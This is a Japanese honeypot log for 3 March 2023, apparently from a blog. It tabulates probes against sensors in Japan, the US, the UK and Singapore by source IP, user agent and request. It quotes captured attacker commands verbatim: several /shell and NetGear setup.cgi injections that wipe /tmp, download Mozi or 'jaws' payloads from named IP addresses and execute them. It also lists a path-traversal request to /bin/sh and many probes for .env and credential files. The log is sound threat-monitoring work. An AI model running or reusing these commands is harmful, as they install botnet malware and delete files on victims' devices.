2023/03/03 ハニーポット(仮) 観測記録

ハニーポット(仮) 観測記録 2023/03/03分です。

特徴

共通

zgrabによるスキャン行為
/.envへのスキャン行為

Location:JP

.jsへのスキャン行為
/.gitへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://27.41.18.203:50703/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location:US

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Atlassian Jira Server/Data Centerの脆弱性(CVE-2021-26086)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
CensysInspectによるスキャン行為
Nmap Scripting Engineによるスキャン行為
/.gitへのスキャン行為
Apache Tomcatへのスキャン行為

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  107.6.255.132/jaws;
sh /tmp/jaws

Location:UK

GPONルータの脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
CensysInspectによるスキャン行為
.jsへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 94.158.247.123/jaws;
sh /tmp/jaws

Location:SG

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
CensysInspectによるスキャン行為
.jsへのスキャン行為
/.gitへのスキャン行為
UserAgentがHello, Worldであるアクセス

を確認しました。

他

アクセス数推移

JP：総アクセス数：87 (前日比：-85)
US：総アクセス数：223 (前日比：107)
UK：総アクセス数：98 (前日比：-12)
SG：総アクセス数：95 (前日比：3)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
12	18.189.21.247	United States
1	20.14.93.102	United States
1	27.41.18.203	China
6	43.154.141.71	Singapore
1	45.33.80.243	United States
1	45.79.128.205	United States
1	45.79.181.94	United States
2	45.79.181.179	United States
1	45.134.140.161	United Kingdom
1	79.110.62.172	Bulgaria
5	95.214.235.205	Ukraine
1	104.192.0.50	United States
1	106.75.175.149	China
2	109.237.98.226	Russia
1	134.122.184.20	Singapore
9	135.125.244.48	France
8	135.125.246.189	France
7	140.238.69.139	United States
1	143.244.50.172	United Kingdom
2	164.92.117.229	United States
7	165.232.68.253	United States
1	169.61.63.55	United States
1	172.104.11.4	United States
1	172.104.11.51	United States
1	174.138.64.193	United States
2	184.105.139.69	United States
2	185.100.87.136	Seychelles
2	185.254.196.115	Ukraine
1	192.155.90.118	United States
1	193.169.245.119	Ukraine
1	194.146.38.81	Israel
1	195.178.120.37	Bulgaria
1	198.199.93.27	United States
1	198.235.24.133	United States

UserAgent一覧

件数	UserAgent
20	-
1	AlexaMediaPlayer/2.1.4676.0 (Linux;Android 5.1.1) ExoPlayerLib/1.5.9
1	Go-http-client/1.1
1	Hello, world
1	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
1	Mozilla/5.0 (Linux; Android 9; SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.89 Mobile Safari/537.36
1	Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
1	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
6	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
5	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
1	Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
1	Mozilla/5.0 (X11; Linux i686; rv:20.0) Gecko/20100101 Firefox/20.0
25	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
1	Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6) Gecko/20040406 Galeon/1.3.15
1	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
1	Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1
2	Mozilla/5.0 zgrab/0.x
12	python-requests/2.28.2
1	xxx

リクエスト内容一覧

件数	Method	Request	Protocol
1		-
1		MGLNDD_18.179.20.5_80\n
1		\x16\x03\x01\x01H\x01
9		\x16\x03\x01
28	GET	/.env	HTTP/1.1
2	GET	/.git/config	HTTP/1.1
1	GET	/Hanju/32550.html	HTTP/1.1
1	GET	/_profiler/phpinfo	HTTP/1.1
1	GET	/aaa9	HTTP/1.1
1	GET	/aab8	HTTP/1.1
1	GET	/admin/.git/config	HTTP/1.1
1	GET	/apis/apps/v1/namespaces/kube-system/daemonsets	HTTP/1.1
1	GET	/app/.git/config	HTTP/1.1
1	GET	/application/.git/config	HTTP/1.1
1	GET	/c/version.js	HTTP/1.1
1	GET	/config/.git/config	HTTP/1.1
1	GET	/config/getuser?index=0	HTTP/1.1
1	GET	/dev/.git/config	HTTP/1.1
1	GET	/explore	HTTP/1.1
3	GET	/favicon.ico	HTTP/1.1
1	GET	/flu/403.html	HTTP/1.1
1	GET	/geoserver/web/	HTTP/1.1
1	GET	/info.php	HTTP/1.1
1	GET	/php.php	HTTP/1.1
1	GET	/phpinfo.php	HTTP/1.1
1	GET	/phpinfo	HTTP/1.1
1	GET	/prod/.git/config	HTTP/1.1
1	GET	/resources/.git/config	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+http[:]//27[.]41[.]18[.]203:50703/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws	HTTP/1.1
1	GET	/src/.git/config	HTTP/1.1
1	GET	/stalker_portal/c/version.js	HTTP/1.1
1	GET	/stream/live.php	HTTP/1.1
1	GET	/streaming/clients_live.php	HTTP/1.1
1	GET	/system/.git/config	HTTP/1.1
1	GET	/system_api.php	HTTP/1.1
1	GET	/test.php	HTTP/1.1
1	GET	/v3/time	HTTP/1.1
1	GET	/vendor/.git/config	HTTP/1.1
1	GET	/views/.git/config	HTTP/1.1
6	HEAD	/Core/Skin/Login.aspx	HTTP/1.1
1	HEAD	/	HTTP/1.0
1	POST	/FD873AC4-CF86-4FED-84EC-4BD59C6F17A7	HTTP/1.1
1	POST	/api/v0/id	HTTP/1.1
1	POST	/index.htm	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
111	3.128.186.187	United States
1	20.81.189.46	United States
3	38.242.128.76	United States
2	45.33.80.243	United States
2	45.79.128.205	United States
3	45.79.149.111	United States
1	45.79.172.21	United States
1	45.79.181.104	United States
2	45.79.181.179	United States
1	45.79.181.223	United States
1	45.134.140.161	United Kingdom
26	54.37.79.75	France
2	65.49.20.67	United States
1	78.92.51.22	Hungary
1	92.118.39.82	Romania
1	106.75.145.88	China
2	109.237.98.226	Russia
1	120.85.93.135	China
1	134.122.133.35	Singapore
18	143.110.218.229	United States
4	143.244.50.172	United Kingdom
2	152.89.196.211	Russia
2	162.142.125.222	United States
2	167.94.138.60	United States
2	167.248.133.63	United States
1	172.104.11.4	United States
1	172.104.11.34	United States
1	172.104.11.46	United States
2	172.104.11.51	United States
1	177.137.228.194	Brazil
3	179.43.177.242	Panama
2	183.136.225.32	China
1	185.225.74.55	Bulgaria
1	185.246.220.98	Bulgaria
9	185.254.196.223	Ukraine
1	192.241.206.91	United States
1	194.87.151.116	Czechia
1	195.178.120.37	Bulgaria
1	198.98.57.49	United States
1	199.195.249.201	United States
1	205.210.31.12	United States
2	206.189.139.42	United States

UserAgent一覧

件数	UserAgent
30	-
19	Go-http-client/1.1
1	Hello World
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
2	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
63	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 OPR/94.0.0.0
34	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
11	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
1	Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/109.0
1	Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
2	Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
36	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
5	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
4	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
3	Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
2	Mozilla/5.0 (compatible; Nmap Scripting Engine; https[:]//nmap[.]org/book/nse.html)
1	Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1
2	Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数	Method	Request	Protocol
1		-
1		HELP
1		MGLNDD_34.68.118.83_80\n
1		\x16\x03\x01\x01H\x01
16		\x16\x03\x01
1		\x16\x03
1	GET	/.DS_Store	HTTP/1.1
1	GET	/.apache.env	HTTP/1.1
1	GET	/.database.env	HTTP/1.1
1	GET	/.db.env	HTTP/1.1
1	GET	/.debug.env	HTTP/1.1
1	GET	/.debug	HTTP/1.1
1	GET	/.django.env	HTTP/1.1
1	GET	/.elastic.env	HTTP/1.1
1	GET	/.env.backup	HTTP/1.1
1	GET	/.env.bak	HTTP/1.1
1	GET	/.env.copy	HTTP/1.1
1	GET	/.env.dev	HTTP/1.1
1	GET	/.env.development	HTTP/1.1
1	GET	/.env.local	HTTP/1.1
1	GET	/.env.new	HTTP/1.1
1	GET	/.env.prod	HTTP/1.1
1	GET	/.env.production	HTTP/1.1
1	GET	/.env.remote	HTTP/1.1
1	GET	/.env.staging	HTTP/1.1
39	GET	/.env	HTTP/1.1
3	GET	/.git/config	HTTP/1.1
1	GET	/.laravel.env	HTTP/1.1
1	GET	/.local	HTTP/1.1
1	GET	/.mysql.env	HTTP/1.1
1	GET	/.nginx.env	HTTP/1.1
1	GET	/.old.env	HTTP/1.1
1	GET	/.postgres.env	HTTP/1.1
1	GET	/.production	HTTP/1.1
1	GET	/.remote	HTTP/1.1
2	GET	/.vscode/sftp.json	HTTP/1.1
1	GET	/.web.env	HTTP/1.1
1	GET	/8ujE	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/?rest_route=/wp/v2/users/	HTTP/1.1
1	GET	/Hanju/32550.html	HTTP/1.1
1	GET	/QTeS	HTTP/1.1
1	GET	/aaa9	HTTP/1.1
1	GET	/aab8	HTTP/1.1
1	GET	/about	HTTP/1.1
1	GET	/account.json	HTTP/1.1
1	GET	/accounts.json	HTTP/1.1
1	GET	/actuator/gateway/routes	HTTP/1.1
1	GET	/admin/.env	HTTP/1.1
1	GET	/administrator/.env	HTTP/1.1
1	GET	/api/.env	HTTP/1.1
1	GET	/api/search?folderIds=0	HTTP/1.1
1	GET	/apis/apps/v1/namespaces/kube-system/daemonsets	HTTP/1.1
1	GET	/app.config.env	HTTP/1.1
1	GET	/app.env	HTTP/1.1
1	GET	/app/.env	HTTP/1.1
1	GET	/apps/.env	HTTP/1.1
1	GET	/assets/.env	HTTP/1.1
1	GET	/boaform/admin/formLogin?username=ec8&psd=ec8	HTTP/1.0
1	GET	/cgi-bin/downloadFlile.cgi	HTTP/1.1
1	GET	/ci/.env	HTTP/1.1
1	GET	/config.env	HTTP/1.1
2	GET	/config.json	HTTP/1.1
1	GET	/config/.env	HTTP/1.1
1	GET	/config/config.json	HTTP/1.1
4	GET	/config/getuser?index=0	HTTP/1.1
1	GET	/core/.env	HTTP/1.1
1	GET	/core/app/.env	HTTP/1.1
1	GET	/cron/.env	HTTP/1.1
1	GET	/cronlab/.env	HTTP/1.1
1	GET	/database/.env	HTTP/1.1
1	GET	/debug/default/view?panel=config	HTTP/1.1
1	GET	/debug/default/view?panel=request	HTTP/1.1
1	GET	/dev.env	HTTP/1.1
1	GET	/dotenv.env	HTTP/1.1
1	GET	/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application	HTTP/1.1
1	GET	/exapi/.env	HTTP/1.1
6	GET	/favicon.ico	HTTP/1.1
1	GET	/geoserver/web/	HTTP/1.1
1	GET	/info.php	HTTP/1.1
1	GET	/key.json	HTTP/1.1
1	GET	/keys.json	HTTP/1.1
1	GET	/lab/.env	HTTP/1.1
1	GET	/laravel/.env	HTTP/1.1
1	GET	/lib/.env	HTTP/1.1
1	GET	/login.action	HTTP/1.1
1	GET	/main.env	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/metrics	HTTP/1.1
1	GET	/myconf.env	HTTP/1.1
1	GET	/public/.env	HTTP/1.1
1	GET	/robots.txt	HTTP/1.1
1	GET	/s/3383e2831313e28363e24333/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties	HTTP/1.1
1	GET	/saas/.env	HTTP/1.1
1	GET	/secret.json	HTTP/1.1
1	GET	/secrets.json	HTTP/1.1
2	GET	/server-status	HTTP/1.1
2	GET	/shell?cd+/tmp;rm+-rf+*;wget+ 107.6.255.132/jaws;sh+/tmp/jaws
1	GET	/site/.env	HTTP/1.1
1	GET	/sitemaps/.env	HTTP/1.1
1	GET	/telescope/requests	HTTP/1.1
1	GET	/tools/.env	HTTP/1.1
1	GET	/uploads/.env	HTTP/1.1
1	GET	/v1/.env	HTTP/1.1
1	GET	/v2/.env	HTTP/1.1
1	GET	/v2/_catalog	HTTP/1.1
1	GET	/v2/	HTTP/1.1
1	GET	/vendor/.env	HTTP/1.1
1	GET	/wallet.json	HTTP/1.1
1	GET	/wallets.json	HTTP/1.1
1	GET	/web-variables.env	HTTP/1.1
1	GET	/web/.env	HTTP/1.1
1	HEAD	/api.zip	HTTP/1.1
1	HEAD	/app.zip	HTTP/1.1
1	HEAD	/backup.zip	HTTP/1.1
1	HEAD	/backups.zip	HTTP/1.1
1	HEAD	/beta.zip	HTTP/1.1
1	HEAD	/code.zip	HTTP/1.1
1	HEAD	/config.zip	HTTP/1.1
1	HEAD	/configs.zip	HTTP/1.1
1	HEAD	/configuration.zip	HTTP/1.1
1	HEAD	/core.zip	HTTP/1.1
1	HEAD	/database.zip	HTTP/1.1
1	HEAD	/databases.zip	HTTP/1.1
1	HEAD	/db.zip	HTTP/1.1
1	HEAD	/dev.zip	HTTP/1.1
1	HEAD	/framework.zip	HTTP/1.1
1	HEAD	/htdocs.zip	HTTP/1.1
1	HEAD	/html.zip	HTTP/1.1
1	HEAD	/install.zip	HTTP/1.1
1	HEAD	/main.zip	HTTP/1.1
1	HEAD	/module.zip	HTTP/1.1
1	HEAD	/old.zip	HTTP/1.1
1	HEAD	/public_html.zip	HTTP/1.1
1	HEAD	/run.zip	HTTP/1.1
1	HEAD	/script.zip	HTTP/1.1
1	HEAD	/scripts.zip	HTTP/1.1
1	HEAD	/source.zip	HTTP/1.1
1	HEAD	/system.zip	HTTP/1.1
1	HEAD	/tokenlite.zip	HTTP/1.1
1	HEAD	/upload.zip	HTTP/1.1
1	HEAD	/uploads.zip	HTTP/1.1
1	HEAD	/v1.zip	HTTP/1.1
1	HEAD	/v2.zip	HTTP/1.1
1	HEAD	/www.zip	HTTP/1.1
1	PATCH	/?debug=true	HTTP/1.1
1	POST	/HNAP1/	HTTP/1.0
5	POST	/boaform/admin/formLogin	HTTP/1.1
1	POST	/cgi-bin/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/bin/sh	HTTP/1.1
3	PRI	*	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
2	45.79.181.94	United States
1	45.79.181.104	United States
2	45.79.181.223	United States
1	45.79.181.251	United States
1	47.88.5.56	United States
26	51.79.29.48	Canada
1	51.158.37.156	France
1	64.62.197.170	United States
1	64.62.197.177	United States
2	90.151.171.108	Russia
2	109.237.97.180	Russia
2	109.237.98.226	Russia
1	117.215.216.255	India
4	143.244.50.172	United Kingdom
2	152.89.196.211	Russia
2	167.94.138.44	United States
2	167.94.145.59	United States
7	167.172.99.35	United States
4	167.248.133.63	United States
3	172.104.11.4	United States
1	172.104.11.46	United States
1	172.105.128.11	United States
4	179.43.177.242	Panama
2	183.136.225.32	China
1	185.246.220.98	Bulgaria
8	185.254.196.223	Ukraine
2	188.161.205.67	Palestine
1	192.155.90.118	United States
1	192.241.218.44	United States
2	193.56.29.26	United Kingdom
1	194.87.151.116	Czechia
1	195.178.120.37	Bulgaria
1	198.199.101.230	United States
2	206.189.120.50	United States
1	219.146.152.234	China
1	219.155.72.108	China
1	219.157.64.240	China

UserAgent一覧

件数	UserAgent
24	-
1	Hello World
1	Hello, world
1	Mozilla/5.0 (Linux; Android 10; LIO-AN00 Build/HUAWEILIO-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Mobile Safari/537.36
2	Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
5	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
2	Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
1	Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Spotify / 1.1.39.612 Safari / 537.36
2	Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0 (+https[:]//best-proxies.ru/faq/#from)
36	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (X11; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
6	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
4	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
4	Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
3	Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数	Method	Request	Protocol
1		-
1		MGLNDD_132.145.66.34_80\n
2		\x16\x03\x01\x01H\x01
12		\x16\x03\x01
1	CONNECT	checkip[.]amazonaws[.]com:443	HTTP/1.1
37	GET	/.env	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/Public/home/js/check.js	HTTP/1.1
1	GET	/aaa9	HTTP/1.1
1	GET	/aab8	HTTP/1.1
1	GET	/actuator/gateway/routes	HTTP/1.1
1	GET	/agc/timeclock.php	HTTP/1.1
1	GET	/agent/timeclock.php	HTTP/1.1
1	GET	/c/version.js	HTTP/1.1
1	GET	/cgi-bin/downloadFlile.cgi	HTTP/1.1
4	GET	/config/getuser?index=0	HTTP/1.1
1	GET	/druid/index.html	HTTP/1.1
6	GET	/favicon.ico	HTTP/1.1
1	GET	/flu/403.html	HTTP/1.1
1	GET	/geoserver/web/	HTTP/1.1
1	GET	/robots.txt	HTTP/1.1
1	GET	/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//117[.]215[.]216[.]255:51106/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1	HTTP/1.0
1	GET	/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//219[.]155[.]72[.]108:57875/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1	HTTP/1.0
1	GET	/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//219[.]157[.]64[.]240:43106/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1	HTTP/1.0
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws	HTTP/1.1
1	GET	/stalker_portal/c/version.js	HTTP/1.1
1	GET	/stream/live.php	HTTP/1.1
1	GET	/streaming/clients_live.php	HTTP/1.1
1	GET	/system_api.php	HTTP/1.1
1	GET	http[:]//checkip[.]amazonaws[.]com?Z72612114222Q1	HTTP/1.1
1	HEAD	/	HTTP/1.1
1	HEAD	/	HTTP/1.0
6	POST	/boaform/admin/formLogin	HTTP/1.1
4	PRI	*	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	45.33.80.243	United States
1	45.79.172.21	United States
1	45.79.181.94	United States
1	45.79.181.179	United States
1	45.79.181.223	United States
2	45.79.181.251	United States
7	46.101.6.184	United States
1	51.158.37.156	France
27	54.37.79.75	France
2	65.49.20.68	United States
1	92.118.39.82	Romania
12	94.23.133.43	France
1	106.75.175.149	China
1	115.60.208.85	China
1	117.194.163.153	India
1	117.195.103.41	India
4	143.244.50.172	United Kingdom
4	152.32.153.235	Hong Kong
2	152.89.196.211	Russia
2	162.142.125.219	United States
3	167.71.133.84	United States
2	167.248.133.42	United States
1	172.104.11.4	United States
1	172.104.11.46	United States
1	172.105.128.11	United States
1	172.105.128.13	United States
3	179.43.177.242	Panama
2	183.136.225.32	China
1	185.32.164.145	Russia
1	185.225.74.55	Bulgaria
1	185.246.220.98	Bulgaria
1	192.155.90.220	United States
1	194.87.151.116	Czechia
1	205.210.31.5	United States
2	206.189.139.42	United States

UserAgent一覧

件数	UserAgent
22	-
3	Go-http-client/1.1
2	Hello World
1	Hello, World
12	Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
5	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
2	Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
1	Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Spotify / 1.1.39.612 Safari / 537.36
28	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
5	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
4	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
2	Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
2	Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数	Method	Request	Protocol
1		27;wget%20http[:]//%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$	HTTP/1.0
1		\x16\x03\x01\x01\t\x01
15		\x16\x03\x01
28	GET	/.env	HTTP/1.1
1	GET	//admin/.git/config	HTTP/1.1
1	GET	//api/.git/config	HTTP/1.1
1	GET	//control/.git/config	HTTP/1.1
1	GET	//core/.git/config	HTTP/1.1
1	GET	//demo/.git/config	HTTP/1.1
1	GET	//dev/.git/config	HTTP/1.1
1	GET	//laravel/.git/config	HTTP/1.1
1	GET	//live/.git/config	HTTP/1.1
1	GET	//staging/.git/config	HTTP/1.1
1	GET	//trade/.git/config	HTTP/1.1
1	GET	//wallet/.git/config	HTTP/1.1
1	GET	//web/.git/config	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/aaa9	HTTP/1.1
1	GET	/aab8	HTTP/1.1
1	GET	/actuator/gateway/routes	HTTP/1.1
1	GET	/boaform/admin/formLogin?username=user&psd=user	HTTP/1.0
1	GET	/c/version.js	HTTP/1.1
2	GET	/cgi-bin/downloadFlile.cgi	HTTP/1.1
1	GET	/client/get_targets	HTTP/1.1
4	GET	/config/getuser?index=0	HTTP/1.1
6	GET	/favicon.ico	HTTP/1.1
1	GET	/flu/403.html	HTTP/1.1
1	GET	/geoserver/web/	HTTP/1.1
2	GET	/robots.txt	HTTP/1.1
1	GET	/sitemap.xml	HTTP/1.1
1	GET	/stalker_portal/c/version.js	HTTP/1.1
1	GET	/stream/live.php	HTTP/1.1
1	GET	/streaming/clients_live.php	HTTP/1.1
1	GET	/system_api.php	HTTP/1.1
1	HEAD	/	HTTP/1.0
1	POST	/GponForm/diag_Form?images/	HTTP/1.1
5	POST	/boaform/admin/formLogin	HTTP/1.1
1	POST	/cgi-bin/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/bin/sh	HTTP/1.1
2	PRI	*	HTTP/2.0